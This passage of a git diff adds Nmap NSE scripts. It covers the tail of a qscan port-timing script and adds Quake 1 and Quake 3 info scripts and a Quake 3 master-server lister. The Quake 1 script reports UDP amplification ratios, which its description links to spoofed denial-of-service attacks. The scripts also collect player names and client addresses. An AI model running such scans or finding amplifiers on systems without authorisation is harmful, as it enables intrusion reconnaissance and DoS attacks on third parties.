+ local i, j
+ local famidx = 0
+ local stat
+ local crit
+
+ for _, i in pairs(stats) do repeat
+ if i.fam ~= -1 then
+ break
+ end
+
+ i.fam = famidx
+ famidx = famidx + 1
+
+ for _, j in pairs(stats) do repeat
+ if j.port == i.port or j.fam ~= -1 then
+ break
+ end
+
+ stat = tstat(i.num, j.num, i.mean, j.mean, i.K / (i.num - 1), j.K / (j.num - 1))
+ crit = tinv(conf, i.num + j.num - 2)
+
+ if stat < crit then
+ j.fam = i.fam
+ end
+ until true end
+ until true end
+end
+
+--- Builds report for output
+-- @param stats Array of port statistics
+-- @return Output report
+local report = function(stats)
+ local j
+ local outtab = tab.new()
+
+ tab.add(outtab, 1, "PORT")
+ tab.add(outtab, 2, "FAMILY")
+ tab.add(outtab, 3, "MEAN (us)")
+ tab.add(outtab, 4, "STDDEV")
+ tab.add(outtab, 5, "LOSS (%)")
+ tab.nextrow(outtab)
+ local port, fam, mean, stddev, loss
+ for _, j in pairs(stats) do
+ port = tostring(j.port)
+ fam = tostring(j.fam)
+ mean = string.format("%.2f", j.mean)
+ stddev = string.format("%.2f", math.sqrt(j.K / (j.num - 1)))
+ loss = string.format("%.1f%%", 100 * (1 - j.num / j.sent))
+
+ tab.add(outtab, 1, port)
+ tab.add(outtab, 2, fam)
+ tab.add(outtab, 3, mean)
+ tab.add(outtab, 4, stddev)
+ tab.add(outtab, 5, loss)
+ tab.nextrow(outtab)
+ end
+
+ return tab.dump(outtab)
+end
+
+--- Returns option values based on script arguments and defaults
+-- @return Confidence level, delay and number of trips
+local getopts = function()
+ local conf, delay, numtrips = CONF, DELAY, NUMTRIPS
+ local bool, err
+ local k
+
+ for _, k in ipairs({"qscan.confidence", "confidence"}) do
+ if nmap.registry.args[k] then
+ conf = tonumber(nmap.registry.args[k])
+ break
+ end
+ end
+
+ for _, k in ipairs({"qscan.delay", "delay"}) do
+ if nmap.registry.args[k] then
+ delay = stdnse.parse_timespec(nmap.registry.args[k])
+ break
+ end
+ end
+
+ for _, k in ipairs({"qscan.numtrips", "numtrips"}) do
+ if nmap.registry.args[k] then
+ numtrips = tonumber(nmap.registry.args[k])
+ break
+ end
+ end
+
+ bool = true
+
+ if conf ~= 0.75 and conf ~= 0.9 and
+ conf ~= 0.95 and conf ~= 0.975 and
+ conf ~= 0.99 and conf ~= 0.995 and conf ~= 0.9995 then
+ bool = false
+ err = "Invalid confidence level"
+ end
+
+ if not delay then
+ bool = false
+ err = "Invalid delay"
+ end
+
+ if numtrips < 3 then
+ bool = false
+ err = "Invalid number of trips (should be >= 3)"
+ end
+
+ if bool then
+ return bool, conf, delay, numtrips
+ else
+ return bool, err
+ end
+end
+
+local table_extend = function(a, b)
+ local t = {}
+
+ for _, v in ipairs(a) do
+ t[#t + 1] = v
+ end
+ for _, v in ipairs(b) do
+ t[#t + 1] = v
+ end
+
+ return t
+end
+
+--- Get ports to probe
+-- @param host Host object
+local getports = function(host, numopen, numclosed)
+ local open = {}
+ local closed = {}
+ local port
+
+ port = nil
+ while numopen < 0 or #open < numopen do
+ port = nmap.get_ports(host, port, "tcp", "open")
+ if not port then
+ break
+ end
+ open[#open + 1] = port.number
+ end
+ port = nil
+ while numclosed < 0 or #closed < numclosed do
+ port = nmap.get_ports(host, port, "tcp", "closed")
+ if not port then
+ break
+ end
+ closed[#closed + 1] = port.number
+ end
+
+ return table_extend(open, closed)
+end
+
+hostrule = function(host)
+ if not nmap.is_privileged() then
+ nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
+ if not nmap.registry[SCRIPT_NAME].rootfail then
+ stdnse.verbose1("not running for lack of privileges.")
+ end
+ nmap.registry[SCRIPT_NAME].rootfail = true
+ return nil
+ end
+
+ local numopen, numclosed = NUMOPEN, NUMCLOSED
+
+ if nmap.address_family() ~= 'inet' then
+ stdnse.debug1("is IPv4 compatible only.")
+ return false
+ end
+ if not host.interface then
+ return false
+ end
+
+ for _, k in ipairs({"qscan.numopen", "numopen"}) do
+ if nmap.registry.args[k] then
+ numopen = tonumber(nmap.registry.args[k])
+ break
+ end
+ end
+
+ for _, k in ipairs({"qscan.numclosed", "numclosed"}) do
+ if nmap.registry.args[k] then
+ numclosed = tonumber(nmap.registry.args[k])
+ break
+ end
+ end
+
+ qscanports = getports(host, numopen, numclosed)
+ return (#qscanports > 1)
+end
+
+action = function(host)
+ local sock = nmap.new_dnet()
+ local pcap = nmap.new_socket()
+ local saddr = ipOps.str_to_ip(host.bin_ip_src)
+ local daddr = ipOps.str_to_ip(host.bin_ip)
+ local start
+ local rtt
+ local stats = {}
+ local try = nmap.new_try()
+
+ local conf, delay, numtrips = try(getopts())
+
+ pcap:pcap_open(host.interface, 104, false, "tcp and dst host " .. saddr .. " and src host " .. daddr)
+
+ try(sock:ip_open())
+
+ try = nmap.new_try(function() sock:ip_close() end)
+
+ -- Simply double the calculated host timeout to account for possible
+ -- extra time due to port forwarding or whathaveyou. Nmap has all
+ -- ready scanned this host, so the timing should have taken into
+ -- account some of the RTT differences, but I think it really depends
+ -- on how many ports were scanned and how many were forwarded where.
+ -- Play it safer here.
+ pcap:set_timeout(2 * host.times.timeout * 1000)
+
+ local tcp = genericpkt(host)
+
+ for i = 1, numtrips do
+ for j, port in ipairs(qscanports) do
+
+ updatepkt(tcp, port)
+
+ if not stats[j] then
+ stats[j] = {}
+ stats[j].port = port
+ stats[j].num = 0
+ stats[j].sent = 0
+ stats[j].mean = 0
+ stats[j].K = 0
+ stats[j].fam = -1
+ end
+
+ start = stdnse.clock_us()
+
+ try(sock:ip_send(tcp.buf, host))
+
+ stats[j].sent = stats[j].sent + 1
+
+ local test = string.pack('>c4c4I2I2', tcp.ip_bin_src, tcp.ip_bin_dst, tcp.tcp_sport, tcp.tcp_dport)
+ local status, length, _, layer3, stop = pcap:pcap_receive()
+ while status and test ~= check(layer3) do
+ status, length, _, layer3, stop = pcap:pcap_receive()
+ end
+
+ if not stop then
+ -- probably a timeout, just grab current time
+ stop = stdnse.clock_us()
+ else
+ -- we use usecs
+ stop = stop * 1000000
+ end
+
+ rtt = stop - start
+
+ if status then
+ -- update more stats on the port, Knuth-style
+ local delta
+ stats[j].num = stats[j].num + 1
+ delta = rtt - stats[j].mean
+ stats[j].mean = stats[j].mean + delta / stats[j].num
+ stats[j].K = stats[j].K + delta * (rtt - stats[j].mean)
+ end
+
+ -- Unlike qscan.cc which loops around while waiting for
+ -- the delay, I just sleep here (depending on rtt)
+ local sleep = delay * (0.5 + math.random()) - rtt / 1000000
+ if sleep > 0 then
+ stdnse.sleep(sleep)
+ end
+ end
+ end
+
+ sock:ip_close()
+ pcap:pcap_close()
+
+ -- sort by port number
+ table.sort(stats, function(t1, t2) return t1.port < t2.port end)
+
+ calcfamilies(stats, conf)
+
+ return "\n" .. report(stats)
+end
+
diff --git a/scripts/quake1-info.nse b/scripts/quake1-info.nse
new file mode 100644
index 0000000..5bacbaa
--- /dev/null
+++ b/scripts/quake1-info.nse
@@ -0,0 +1,319 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Extracts information from Quake game servers and other game servers
+which use the same protocol.
+
+Quake uses UDP packets, which because of source spoofing can be used to amplify
+a denial-of-service attack. For each request, the script reports the payload
+amplification as a ratio. The format used is
+<code>response_bytes/request_bytes=ratio</code>
+
+http://www.gamers.org/dEngine/quake/QDP/qnp.html
+]]
+
+---
+-- @usage
+-- nmap -n -sU -Pn --script quake1-info -pU:26000-26004 -- <target>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 26000/udp open quake
+-- | quake1-info:
+-- | server info exchange payload amplification: 59/12=4.916667
+-- | listen address: 10.200.200.10:26000
+-- | server name: An anonymous Debian server
+-- | level name: dm1
+-- | players: 1/8
+-- | player table
+-- | player 1: fragmeister
+-- | player info exchange payload amplification: 49/6=8.166667
+-- | client address: 192.168.0.10:40430
+-- | connect time: 55587 secs
+-- | frags: -1
+-- | shirt: green3
+-- | pants: orange6
+-- |_ protocol version: released (0x3)
+--
+-- @xmloutput
+-- <elem key="server_ratio">59/12=4.916667</elem>
+-- <elem key="listen_address">10.200.200.10:26000</elem>
+-- <elem key="server_name">An anonymous Debian server</elem>
+-- <elem key="level_name">dm1</elem>
+-- <elem key="players">1/8</elem>
+-- <table key="player_table">
+-- <table key="player 1">
+-- <elem key="player_ratio">49/6=8.166667</elem>
+-- <elem key="name">fragmeister</elem>
+-- <elem key="client_address">192.168.0.10:40430</elem>
+-- <elem key="connect_time">55587 secs</elem>
+-- <elem key="frags">-1</elem>
+-- <elem key="shirt">green3</elem>
+-- <elem key="pants">orange6</elem>
+-- </table>
+-- </table>
+-- <elem key="protocol_version">released (0x3)</elem>
+
+
+categories = {"default", "discovery", "safe", "version"}
+author = "Ulrik Haugen"
+copyright = "Linköpings universitet 2014, Ulrik Haugen 2014"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+
+--- Proceed with action on open/open|filtered udp ports in interval
+-- [26000, 26004] and whatever Quake is listed under in nmap-services.
+function portrule(host, port)
+ return (port.state == 'open' or port.state == 'open|filtered')
+ and port.protocol == 'udp'
+ and ((26000 <= port.number and port.number <= 26004)
+ or port.service == 'quake')
+ and nmap.version_intensity() >= 7
+end
+
+
+--- Like assert but put /message/ in the ERROR key in /results_table/ to
+-- better suit collate_results and pass 0 as level to error to ensure
+-- the error message will not be prefixed with file and line number.
+-- /results_table/ may be left out.
+local function assert_w_table(condition, message, results_table)
+ if condition then
+ return condition
+ else
+ results_table = results_table or {}
+ results_table.ERROR = message
+ error(results_table, 0)
+ end
+end
+
+
+-- Protocol constants and tables.
+local ctrl_pkt_type = 0x8000
+local ccreq_server_info = 0x02
+local ccrep_server_info = 0x83
+local ccreq_player_info = 0x03
+local ccrep_player_info = 0x84
+local game_name = "QUAKE"
+local net_protocol_versions = {
+ [ 0x01 ] = "qtest1",
+ [ 0x02 ] = "unknown",
+ [ 0x03 ] = "released"
+}
+local net_protocol_released = 0x03
+local color_codes = {
+ [ 0x0 ] = "gray0",
+ [ 0x1 ] = "brown1",
+ [ 0x2 ] = "lavender2",
+ [ 0x3 ] = "green3",
+ [ 0x4 ] = "red4",
+ [ 0x5 ] = "light green5",
+ [ 0x6 ] = "orange6",
+ [ 0x7 ] = "light brown7",
+ [ 0x8 ] = "violet8",
+ [ 0x9 ] = "pink9",
+ [ 0xa ] = "beige10",
+ [ 0xb ] = "green11",
+ [ 0xc ] = "yellow12",
+ [ 0xd ] = "blue13"
+}
+
+
+--- Request player info from /host/:/port/ for player /id/, return
+-- player info as a table on success and raise an error on failure.
+local function get_player_info(host, port, id)
+ local player_info = stdnse.output_table()
+ local req_pl = string.pack('>I2 I2 BB',
+ ctrl_pkt_type, -- packet type
+ 2+2+1+1, -- packet length
+ ccreq_player_info, -- operation code
+ id - 1) -- player number (0 indexed)
+ -- iptables -m u32 --u32 '0x1c=0x80000006&&0x1d&0xff=0x03'
+
+ local status, rep_pl = comm.exchange(host, port, req_pl)
+ assert_w_table(status, "No response to request for player info")
+ assert_w_table(#rep_pl >= 4, "Response too small for packet header")
+
+ player_info.player_ratio = string.format("%d/%d=%f",
+ rep_pl:len(), req_pl:len(),
+ rep_pl:len()/req_pl:len() )
+
+ local rep_pkt_type, rep_pl_len, pos = string.unpack('>I2 I2', rep_pl)
+ assert_w_table(rep_pl_len == rep_pl:len(),
+ string.format("Incorrect reply packet length: %d"
+ .. " received, %d bytes in packet",
+ rep_pl_len, rep_pl:len()),
+ player_info)
+ local term_pos = rep_pl_len + 1
+ assert_w_table(rep_pkt_type == ctrl_pkt_type,
+ "Bad reply packet type", player_info)
+
+ -- frags and connect_time are sent little endian:
+ local rep_opc, player_id, name, colors, frags, connect_time, client_address, pos = string.unpack('>BBzBxxx<i4I4>z', rep_pl, pos)
+ assert_w_table(pos == term_pos, "Error parsing reply (packet type/ length)",
+ player_info)
+ assert_w_table(rep_opc == ccrep_player_info,
+ string.format("Incorrect operation code 0x%x in reply,"
+ .. " should be 0x%x",
+ rep_opc, ccrep_player_info),
+ player_info)
+
+ player_info.name = name
+ player_info.client_address = client_address
+ player_info.connect_time = string.format("%d secs", connect_time)
+ player_info.frags = frags
+ player_info.shirt = color_codes[colors >> 4] or "INVALID"
+ player_info.pants = color_codes[colors & 0x0f] or "INVALID"
+ return player_info
+end
+
+
+--- Request player info from /host/:/port/ for players [1,
+-- /cur_players/], return player infos or errors in a table.
+local function get_player_table(host, port, cur_players)
+ local player_table = stdnse.output_table()
+ for id = 1, cur_players do
+ -- At this point we have established that the target is a Quake
+ -- game server so lost ccreq or ccrep player info packets are
+ -- merely noted in the output, they don't abort the script.
+ local status, player_info = pcall(get_player_info, host, port, id)
+ player_table[string.format("player %d", id)] = player_info
+ end
+ return player_table
+end
+
+
+--- Request server info and possibly player infos from /host/:/port/,
+-- return server info and any player infos as a table on success and
+-- raise an error on failure.
+local function get_server_info(host, port)
+ local server_info = stdnse.output_table()
+ local req_pl = string.pack('>I2I2BzB',
+ ctrl_pkt_type, -- packet type
+ 2+2+1+game_name:len()+1+1, -- packet length
+ ccreq_server_info, -- operation code
+ game_name,
+ net_protocol_released) -- net protocol version
+ -- iptables -m u32 --u32 '0x1c=0x8000000c&&0x20=0x02515541&&0x24=0x4b450003'
+
+ local status, rep_pl = comm.exchange(host, port, req_pl)
+ assert_w_table(status, "No response to request for server info")
+ assert_w_table(#rep_pl >= 4, "Response too small for packet header")
+
+ nmap.set_port_state(host, port, 'open')
+ server_info.server_ratio = string.format("%d/%d=%f",
+ rep_pl:len(), req_pl:len(),
+ rep_pl:len()/req_pl:len())
+
+ local rep_pkt_type, rep_pl_len, pos = string.unpack('>I2 I2', rep_pl)
+ assert_w_table(rep_pkt_type == ctrl_pkt_type,
+ string.format("Bad reply packet type 0x%x, expected 0x%x",
+ rep_pkt_type, ctrl_pkt_type), server_info)
+ assert_w_table(rep_pl_len == rep_pl:len(),
+ string.format("Bad reply packet length: %d received,"
+ .. " %d bytes in packet",
+ rep_pl_len, rep_pl:len()), server_info)
+ local term_pos = rep_pl_len + 1
+
+ local rep_opc, pos = string.unpack('>B', rep_pl, pos)
+ assert_w_table(rep_opc == ccrep_server_info,
+ string.format("Bad operation code 0x%x in reply,"
+ .. " expected 0x%x",
+ rep_opc, ccrep_server_info), server_info)
+ local server_address, server_host_name, level_name, cur_players, max_players, net_protocol_version, pos = string.unpack('>zzzBBB', rep_pl, pos)
+ assert_w_table(pos == term_pos, "Error parsing reply (packet type/length)",
+ server_info)
+
+ port.version.name = "quake"
+ port.version.product = "Quake 1 server"
+ port.version.version = net_protocol_versions[net_protocol_version]
+ nmap.set_port_version(host, port)
+
+ local player_table = get_player_table(host, port, cur_players)
+
+ server_info.listen_address = server_address
+ server_info.server_name = server_host_name
+ server_info.level_name = level_name
+ server_info.players = string.format("%d/%d", cur_players, max_players)
+ server_info.player_table = player_table
+ server_info.protocol_version = string.format(
+ "%s (0x%x)",
+ net_protocol_versions[net_protocol_version], net_protocol_version)
+ return server_info
+end
+
+
+--- Return a function from structured to unstructured output indenting
+-- nested tables /offset/ or two spaces with special treatment of name
+-- keys and optionally using /xlate_key/ to format keys.
+local function make_formatter(offset, xlate_key)
+ offset = offset or 2
+ xlate_key = xlate_key or function(key) return key:gsub("_", " ") end
+
+ --- Format /results_table/ as a string starting /indent/ or zero
+ -- steps from the margin for the name key and adding offset steps
+ -- for other table contents and again for the contents of nested
+ -- tables.
+ local function formatter(results_table, indent)
+ indent = indent or 0
+ local output = {}
+
+ if results_table.name then
+ table.insert(output,
+ string.format("%s%s", ({ [ false ] = ": ",
+ [ true ] = "\n" })[indent == 0],
+ results_table.name))
+ end
+
+ for key, value in pairs(results_table) do
+ -- name is printed already
+ if key ~= 'name' then
+ if type(value) == 'table' then
+ table.insert(output,
+ string.format("\n%s%s",
+ string.rep(" ", indent + offset),
+ xlate_key(key)))
+ table.insert(output, formatter(value, indent + offset))
+ else
+ table.insert(output,
+ string.format("\n%s%s: %s",
+ string.rep(" ", indent + offset),
+ xlate_key(key), value))
+ end
+ end
+ end
+ return table.concat(output, '')
+ end
+
+ return formatter
+end
+
+
+--- Use /formatter/ to produce unstructured output from
+-- /results_table/ considering /status/. Return structured and
+-- unstructured output.
+local function collate_results(formatter, status, results_table)
+ if not status and nmap.debugging() < 1 then
+ return nil
+ end
+ return results_table, formatter(results_table)
+end
+
+
+--- Nmap entry point.
+function action(host, port)
+ local xlate_table = {
+ player_ratio = "player info exchange payload amplification",
+ server_ratio = "server info exchange payload amplification",
+ }
+
+ local function xlate_key(key)
+ return xlate_table[key] or key:gsub("_", " ")
+ end
+
+ return collate_results(make_formatter(nil, xlate_key),
+ pcall(get_server_info, host, port))
+end
diff --git a/scripts/quake3-info.nse b/scripts/quake3-info.nse
new file mode 100644
index 0000000..197137e
--- /dev/null
+++ b/scripts/quake3-info.nse
@@ -0,0 +1,256 @@
+local comm = require "comm"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Extracts information from a Quake3 game server and other games which use the same protocol.
+]]
+
+---
+-- @usage
+-- nmap -sU -sV -Pn --script quake3-info.nse -p <port> <target>
+--
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 27960/udp open quake3 Quake 3 dedicated server
+-- | quake3-info:
+-- | PLAYERS:
+-- | 1. cyberix (frags: 0/20, ping: 4)
+-- | BASIC OPTIONS:
+-- | capturelimit: 8
+-- | dmflags: 0
+-- | elimflags: 0
+-- | fraglimit: 20
+-- | gamename: baseoa
+-- | mapname: oa_dm1
+-- | protocol: 71
+-- | timelimit: 0
+-- | version: ioq3 1.36+svn1933-1/Ubuntu linux-x86_64 Apr 4 2011
+-- | videoflags: 7
+-- | voteflags: 767
+-- | OTHER OPTIONS:
+-- | bot_minplayers: 0
+-- | elimination_roundtime: 120
+-- | g_allowVote: 1
+-- | g_altExcellent: 0
+-- | g_delagHitscan: 0
+-- | g_doWarmup: 0
+-- | g_enableBreath: 0
+-- | g_enableDust: 0
+-- | g_gametype: 0
+-- | g_instantgib: 0
+-- | g_lms_mode: 0
+-- | g_maxGameClients: 0
+-- | g_needpass: 0
+-- | g_obeliskRespawnDelay: 10
+-- | g_rockets: 0
+-- | g_voteGametypes: /0/1/3/4/5/6/7/8/9/10/11/12/
+-- | g_voteMaxFraglimit: 0
+-- | g_voteMaxTimelimit: 0
+-- | g_voteMinFraglimit: 0
+-- | g_voteMinTimelimit: 0
+-- | sv_allowDownload: 0
+-- | sv_floodProtect: 1
+-- | sv_hostname: noname
+-- | sv_maxPing: 0
+-- | sv_maxRate: 0
+-- | sv_maxclients: 8
+-- | sv_minPing: 0
+-- | sv_minRate: 0
+-- |_ sv_privateClients: 0
+
+author = "Toni Ruottu"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe", "version"}
+
+
+local function range(first, last)
+ local list = {}
+ for i = first, last do
+ table.insert(list, i)
+ end
+ return list
+end
+
+portrule = shortport.version_port_or_service(range(27960, 27970), {'quake3'}, 'udp')
+
+local function parsefields(data)
+ local fields = {}
+ local parts = stringaux.strsplit("\\", data)
+ local nullprefix = table.remove(parts, 1)
+ if nullprefix ~= "" then
+ stdnse.debug2("unrecognized field format, skipping options")
+ return {}
+ end
+ for i = 1, #parts, 2 do
+ local key = parts[i]
+ local value = parts[i + 1]
+ fields[key] = value
+ end
+ return fields
+end
+
+local function parsename(data)
+ local parts = stringaux.strsplit('"', data)
+ if #parts ~= 3 then
+ return nil
+ end
+ local e1 = parts[1]
+ local name = parts[2]
+ local e2 = parts[3]
+ local extra = e1 .. e2
+ if extra ~= "" then
+ return nil
+ end
+ return name
+end
+
+local function parseplayer(data)
+ local parts = stringaux.strsplit(" ", data)
+ if #parts < 3 then
+ stdnse.debug2("player info line is missing elements, skipping a player")
+ return nil
+ end
+ if #parts > 3 then
+ stdnse.debug2("player info line has unknown elements, skipping a player")
+ return nil
+ end
+ local player = {}
+ player.frags = parts[1]
+ player.ping = parts[2]
+ player.name = parsename(parts[3])
+ if player.name == nil then
+ stdnse.debug2("invalid player name serialization, skipping a player")
+ return nil
+ end
+ return player
+end
+
+local function parseplayers(data)
+ local players = {}
+ for _, p in ipairs(data) do
+ local player = parseplayer(p)
+ if player then
+ table.insert(players, player)
+ end
+ end
+ return players
+end
+
+local function is_leader(a, b)
+ local collide = a.name == b.name
+ local even = a.frags == b.frags
+ local leads = a.frags > b.frags
+ local alphab = a.name > b.name
+ local faster = a.ping > b.ping
+ return leads or (even and alphab) or (even and collide and faster)
+end
+
+local function formatplayers(players, fraglimit)
+ table.sort(players, is_leader)
+ local printable = {}
+ for i, player in ipairs(players) do
+ local name = player.name
+ local ping = player.ping
+ local frags = player.frags
+ if fraglimit then
+ frags = string.format("%s/%s", frags, fraglimit)
+ end
+ table.insert(printable, string.format("%d. %s (frags: %s, ping: %s)", i, name, frags, ping))
+ end
+ printable["name"] = "PLAYERS:"
+ return printable
+end
+
+local function formatfields(fields, title)
+ local printable = {}
+ for key, value in pairs(fields) do
+ local kv = string.format("%s: %s", key, value)
+ table.insert(printable, kv)
+ end
+ table.sort(printable)
+ printable["name"] = title
+ return printable
+end
+
+local function assorted(fields)
+ local basic = {}
+ local other = {}
+ for key, value in pairs(fields) do
+ if string.find(key, "_") == nil then
+ basic[key] = value
+ else
+ other[key] = value
+ end
+ end
+ return basic, other
+end
+
+action = function(host, port)
+ local GETSTATUS = "\xff\xff\xff\xffgetstatus\n"
+ local STATUSRESP = "\xff\xff\xff\xffstatusResponse"
+
+ local status, data = comm.exchange(host, port, GETSTATUS, {["proto"] = "udp"})
+ if not status then
+ return
+ end
+ local parts = stringaux.strsplit("\n", data)
+ local header = table.remove(parts, 1)
+ if header ~= STATUSRESP then
+ return
+ end
+ if #parts < 2 then
+ stdnse.debug2("incomplete status response, script abort")
+ return
+ end
+ local nullend = table.remove(parts)
+ if nullend ~= "" then
+ stdnse.debug2("missing terminating endline, script abort")
+ return
+ end
+ local field_data = table.remove(parts, 1)
+ local player_data = parts
+
+ local fields = parsefields(field_data)
+ local players = parseplayers(player_data)
+
+ local basic, other = assorted(fields)
+
+ -- Previously observed version strings:
+ -- "tremulous 1.1.0 linux-x86_64 Aug  5 2010"
+ -- "ioq3 1.36+svn1933-1/Ubuntu linux-x86_64 Apr  4 2011"
+ local versionline = basic["version"]
+ if versionline then
+ local fields = stringaux.strsplit(" ", versionline)
+ local product = fields[1]
+ local version = fields[2]
+ local osline = fields[3]
+ port.version.name = "quake3"
+ port.version.product = product
+ port.version.version = version
+ if string.find(osline, "linux") then
+ port.version.ostype = "Linux"
+ end
+ if string.find(osline, "win") then
+ port.version.ostype = "Windows"
+ end
+ nmap.set_port_version(host, port)
+ end
+
+ local fraglimit = fields["fraglimit"]
+ if not fraglimit then
+ fraglimit = "?"
+ end
+
+ local response = {}
+ table.insert(response, formatplayers(players, fraglimit))
+ table.insert(response, formatfields(basic, "BASIC OPTIONS:"))
+ if nmap.verbosity() > 0 then
+ table.insert(response, formatfields(other, "OTHER OPTIONS:"))
+ end
+ return stdnse.format_output(true, response)
+end
diff --git a/scripts/quake3-master-getservers.nse b/scripts/quake3-master-getservers.nse
new file mode 100644
index 0000000..aeade67
--- /dev/null
+++ b/scripts/quake3-master-getservers.nse
@@ -0,0 +1,249 @@
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local tab = require "tab"
+local table = require "table"
+
+description = [[
+Queries Quake3-style master servers for game servers (many games other than Quake 3 use this same protocol).
+]]
+
+---
+-- @usage
+-- nmap -sU -p 27950 --script=quake3-master-getservers <target>
+-- @output
+-- PORT STATE SERVICE REASON
+-- 27950/udp open quake3-master
+-- | quake3-master-getservers:
+-- | 192.0.2.22:26002 Xonotic (Xonotic 3)
+-- | 203.0.113.37:26000 Nexuiz (Nexuiz 3)
+-- |_ Only 2 shown. Use --script-args quake3-master-getservers.outputlimit=-1 to see all.
+--
+-- @args quake3-master-getservers.outputlimit If set, limits the amount of
+-- hosts returned by the script. All discovered hosts are still
+-- stored in the registry for other scripts to use. If set to 0 or
+-- less, all files are shown. The default value is 10.
+
+author = "Toni Ruottu"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+portrule = shortport.port_or_service ({20110, 20510, 27950, 30710}, "quake3-master", {"udp"})
+postrule = function()
+ return (nmap.registry.q3m_servers ~= nil)
+end
+
+-- There are various sources for this information. These include:
+-- - http://svn.icculus.org/twilight/trunk/dpmaster/readme.txt?view=markup
+-- - http://openarena.wikia.com/wiki/Changes
+-- - http://dpmaster.deathmask.net/
+-- - qstat-2.11, qstat.cfg
+-- - scanning master servers
+-- - looking at game traffic with Wireshark
+local KNOWN_PROTOCOLS = {
+ ["5"] = "Call of Duty",
+ ["10"] = "unknown",
+ ["43"] = "unknown",
+ ["48"] = "unknown",
+ ["50"] = "Return to Castle Wolfenstein",
+ ["57"] = "unknown",
+ ["59"] = "Return to Castle Wolfenstein",
+ ["60"] = "Return to Castle Wolfenstein",
+ ["66"] = "Quake III Arena",
+ ["67"] = "Quake III Arena",
+ ["68"] = "Quake III Arena, or Urban Terror",
+ ["69"] = "OpenArena, or Tremulous",
+ ["70"] = "unknown",
+ ["71"] = "OpenArena",
+ ["72"] = "Wolfenstein: Enemy Territory",
+ ["80"] = "Wolfenstein: Enemy Territory",
+ ["83"] = "Wolfenstein: Enemy Territory",
+ ["84"] = "Wolfenstein: Enemy Territory",
+ ["2003"] = "Soldier of Fortune II: Double Helix",
+ ["2004"] = "Soldier of Fortune II: Double Helix",
+ ["DarkPlaces-Quake 3"] = "DarkPlaces Quake",
+ ["Nexuiz 3"] = "Nexuiz",
+ ["Transfusion 3"] = "Transfusion",
+ ["Warsow 8"] = "Warsow",
+ ["Xonotic 3"] = "Xonotic",
+}
+
+local function getservers(host, port, q3protocol)
+ local socket = nmap.new_socket()
+ socket:set_timeout(10000)
+ local status, err = socket:connect(host, port)
+ if not status then
+ return {}
+ end
+ local probe = string.format("\xff\xff\xff\xffgetservers %s empty full\n", q3protocol)
+ socket:send(probe)
+
+ local data
+ status, data = socket:receive() -- get some data
+ if not status then
+ return {}
+ end
+ nmap.set_port_state(host, port, "open")
+
+ local magic = "\xff\xff\xff\xffgetserversResponse"
+ local tmp
+ while #data < #magic do -- get header
+ status, tmp = socket:receive()
+ if status then
+ data = data .. tmp
+ end
+ end
+ if string.sub(data, 1, #magic) ~= magic then -- no match
+ return {}
+ end
+
+ port.version.name = "quake3-master"
+ nmap.set_port_version(host, port)
+
+ local EOT = "EOT\0\0\0"
+ local pieces = stringaux.strsplit("\\", data)
+ while pieces[#pieces] ~= EOT do -- get all data
+ status, tmp = socket:receive()
+ if status then
+ data = data .. tmp
+ pieces = stringaux.strsplit("\\", data)
+ end
+ end
+
+ table.remove(pieces, 1) --remove magic
+ table.remove(pieces, #pieces) --remove EOT
+
+ local servers = {}
+ for _, value in ipairs(pieces) do
+ local ip, port = string.unpack("c4 >I2", value)
+ table.insert(servers, {ipOps.str_to_ip(ip), port})
+ end
+ socket:close()
+ return servers
+end
+
+local function formatresult(servers, outputlimit, protocols)
+ local t = tab.new()
+
+ if not outputlimit then
+ outputlimit = #servers
+ end
+ for i = 1, outputlimit do
+ if not servers[i] then
+ break
+ end
+ local node = servers[i]
+ local protocol = node.protocol
+ local ip = node.ip
+ local portnum = node.port
+ tab.addrow(t, string.format('%s:%d', ip, portnum), string.format('%s (%s)', protocols[protocol], protocol))
+ end
+
+ return tab.dump(t)
+end
+
+local function dropdupes(tables, stringify)
+ local unique = {}
+ local dupe = {}
+ local s
+ for _, v in ipairs(tables) do
+ s = stringify(v)
+ if not dupe[s] then
+ table.insert(unique, v)
+ dupe[s] = true
+ end
+ end
+ return unique
+end
+
+local function scan(host, port, protocols)
+ local discovered = {}
+ for protocol, _ in pairs(protocols) do
+ for _, node in ipairs(getservers(host, port, protocol)) do
+ local entry = {
+ protocol = protocol,
+ ip = node[1],
+ port = node[2],
+ masterip = host.ip,
+ masterport = port.number
+ }
+ table.insert(discovered, entry)
+ end
+ end
+ return discovered
+end
+
+local function store(servers)
+ if not nmap.registry.q3m_servers then
+ nmap.registry.q3m_servers = {}
+ end
+ for _, server in ipairs(servers) do
+ table.insert(nmap.registry.q3m_servers, server)
+ end
+end
+
+local function protocols()
+ local filter = {}
+ local count = {}
+ for _, advert in ipairs(nmap.registry.q3m_servers) do
+ local key = table.concat({advert.ip, advert.port, advert.protocol}, ":")
+ if filter[key] == nil then
+ if count[advert.protocol] == nil then
+ count[advert.protocol] = 0
+ end
+ count[advert.protocol] = count[advert.protocol] + 1
+ filter[key] = true
+ end
+ local mkey = table.concat({advert.masterip, advert.masterport}, ":")
+ end
+ local sortable = {}
+ for k, v in pairs(count) do
+ table.insert(sortable, {k, v})
+ end
+ table.sort(sortable, function(a, b) return a[2] > b[2] or (a[2] == b[2] and a[1] > b[1]) end)
+ local t = tab.new()
+ tab.addrow(t, '#', 'PROTOCOL', 'GAME', 'SERVERS')
+ for i, p in ipairs(sortable) do
+ local pos = i .. '.'
+ local protocol = p[1]
+ count = p[2]
+ local game = KNOWN_PROTOCOLS[protocol]
+ if game == "unknown" then
+ game = ""
+ end
+ tab.addrow(t, pos, protocol, game, count)
+ end
+ return '\n' .. tab.dump(t)
+end
+
+action = function(host, port)
+ if SCRIPT_TYPE == "postrule" then
+ return protocols()
+ end
